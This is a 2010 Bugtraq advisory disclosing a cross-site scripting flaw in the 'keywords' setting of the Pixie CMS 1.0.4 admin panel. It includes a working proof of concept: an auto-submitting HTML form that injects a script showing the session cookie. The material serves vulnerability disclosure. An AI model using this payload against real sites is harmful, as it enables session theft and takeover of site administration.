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XSS vulnerability in Pixie
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS vulnerability in Pixie
- From: advisory@xxxxxxxxxxx
- Date: Thu, 15 Jul 2010 16:22:21 +0200 (CEST)
Vulnerability ID: HTB22468
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pixie.html
Product: Pixie
Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ )
Vulnerable Version: 1.0.4 and Probably Prior Versions
Vendor Notification: 01 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the site settings saving script to
properly sanitize user-supplied input in "keywords" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form accept-charset="UTF-8"
action="http://host/admin/index.php?s=settings&x=site" method="post"
name="main" >
<input type="hidden" name="sitename" value="Pixie" />
<input type="hidden" name="url" value="http://host/" />
<input type="hidden" name="default" value="blog/" />
<input type="hidden" name="keywords"
value='key1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_auth" value="sute author" />
<input type="hidden" name="site_cright" value="copyright" />
<input type="hidden" name="cleanurls" value="yes" />
<input type="submit" name="settings_edit" id="form_addedit_submit"
value="Update" />
</form>
<script>
document.getElementById('form_addedit_submit').click();
</script>